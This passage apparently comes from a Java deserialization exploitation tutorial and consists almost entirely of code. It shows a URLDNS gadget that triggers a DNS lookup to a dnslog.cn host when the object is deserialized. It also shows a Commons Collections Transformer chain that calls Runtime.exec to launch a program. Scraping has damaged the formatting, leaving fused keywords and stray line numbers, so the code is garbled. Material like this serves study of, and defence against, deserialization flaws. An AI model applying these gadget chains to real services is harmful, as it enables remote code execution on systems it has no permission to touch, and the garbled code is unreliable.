HashMap hashMap=new HashMap(); URL url = new URL("http://he2kr6.dnslog.cn"); hashMap.put(url,123); //防止两次请求dns Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,123); FileOutputStream fos = new FileOutputStream("Object"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(hashMap); FileInputStream test =new FileInputStream("Object"); ObjectInputStream oi = new ObjectInputStream(test); oi.readObject();
Common- Collections
Transformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
//Transformer publicinterfaceTransformer{ public Object transform(Object input); }
//demo publicclassDemo{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), }; }
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null);